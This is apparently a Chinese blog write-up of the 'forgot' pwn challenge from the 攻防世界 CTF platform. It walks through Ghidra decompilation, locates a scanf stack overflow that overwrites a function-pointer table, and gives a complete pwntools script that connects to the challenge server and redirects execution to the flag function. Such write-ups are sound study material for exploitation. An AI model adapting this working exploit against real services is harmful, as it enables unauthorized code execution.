攻防世界 - pwn - forgot

简单的栈溢出,先用ghidra反汇编看看逻辑:

void FUN_080487aa(void)

{
  uint uVar1;
  int iVar2;
  size_t sVar3;
  char local_80 [32];
  code *local_60 [4];
  code *local_50;
  code *local_4c;
  code *local_48;
  code *local_44;
  code *local_40;
  code *local_3c;
  char local_38 [32];
  int local_18;
  uint local_14;
  
  local_18 = 1;
  local_60[0] = FUN_08048604;
  local_60[1] = FUN_08048618;
  local_60[2] = FUN_0804862c;
  local_60[3] = FUN_08048640;
  local_50 = FUN_08048654;
  local_4c = FUN_08048668;
  local_48 = FUN_0804867c;
  local_44 = FUN_08048690;
  local_40 = FUN_080486a4;
  local_3c = FUN_080486b8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(local_38,0x20,stdin);
  FUN_080485dd(local_38);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n",FUN_08048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf(&DAT_08048e14,local_80);
  for (local_14 = 0; uVar1 = local_14, sVar3 = strlen(local_80), uVar1 < sVar3;
      local_14 = local_14 + 1) {
    switch(local_18) {
    case 1:
      iVar2 = FUN_08048702((int)local_80[local_14]);
      if (iVar2 != 0) {
        local_18 = 2;
      }
      break;
    case 2:
      if (local_80[local_14] == '@') {
        local_18 = 3;
      }
      break;
    case 3:
      iVar2 = FUN_0804874c((int)local_80[local_14]);
      if (iVar2 != 0) {
        local_18 = 4;
      }
      break;
    case 4:
      if (local_80[local_14] == '.') {
        local_18 = 5;
      }
      break;
    case 5:
      iVar2 = FUN_08048784((int)local_80[local_14]);
      if (iVar2 != 0) {
        local_18 = 6;
      }
      break;
    case 6:
      iVar2 = FUN_08048784((int)local_80[local_14]);
      if (iVar2 != 0) {
        local_18 = 7;
      }
      break;
    case 7:
      iVar2 = FUN_08048784((int)local_80[local_14]);
      if (iVar2 != 0) {
        local_18 = 8;
      }
      break;
    case 8:
      iVar2 = FUN_08048784((int)local_80[local_14]);
      if (iVar2 != 0) {
        local_18 = 9;
      }
      break;
    case 9:
      local_18 = 10;
    }
  }
  local_18 = local_18 + -1;
  (*local_60[local_18])();
  fflush(stdout);
  return;
}

在其他函数中也找到了如何输出flag,只需调用这一函数即可。


fgets的输入没什么用直接略过,之后的scanf是栈溢出的点,注意到return前进行了一次异常函数调用(*local_60[local_18])();,可以从这里入手构造payload。

要让这段代码的函数调用可控,首先得控制变量local_18的值。local_18的初值为1,最简单的控制方式是让local_18的值不变,为此得查看case 1情形下的函数逻辑:


只要让返回值为0就能让local_18的值一直不变,而这一函数检查的是scanf输入的字符串中每一个字符,所以构造的payload中所有字符都要让这一函数返回值为0。

偏移量甚至不用调试就能计算,ghidra中local_xx的xx表示数据在栈上离基址的距离,即ebp-xx,而调用的函数地址位于local_60,所以偏移量为(ebp-60)-(ebp-80)=20,这里的20是16进制,IDA中也有类似的表达方式。

写出pwn脚本:

from pwn import *

context(log_level="debug", arch="i386", os="linux")
# p = process("./forgot")
p = remote("111.200.241.244", 52806)

flag = 0x080486cc
payload = b"A" * 0x20 + p32(flag)
p.sendlineafter("> ", b"aa")
p.sendlineafter("> ", payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,907评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,987评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,298评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,586评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,633评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,488评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,275评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,176评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,619评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,819评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,932评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,655评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,265评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,871评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,994评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,095评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,884评论 2 354

推荐阅读更多精彩内容

  • 歇了很长一段时间,终于开始了我的攻防世界pwn之路。立一个flag:每日一题,只能多不能少。 0x00 dice_...
    Adam_0阅读 7,113评论 2 7
  • 就按照题目的难易程度写 新手区没有涉及到栈的相关知识,几乎是栈漏洞 get_shell 第一个题目比较简单 ida...
    Hexad阅读 837评论 0 0
  • 0x00 get_shell 0x01 CGfsb 首先检查保护 nc连接输入信息为aaaa加很多个控制字符发现p...
    Adam_0阅读 7,735评论 0 30
  • int_overflow 第一次写pwn 下载附件查壳没壳且是32位 main()函数 login()函数 关键函...
    Const_L阅读 1,271评论 0 1
  • checksec 查看保护机制 可直接使用栈溢出;基地址不变化;栈中数据有执行权限; 分析思路 32位文件,按流程...
    凡所有相是虚妄阅读 462评论 0 0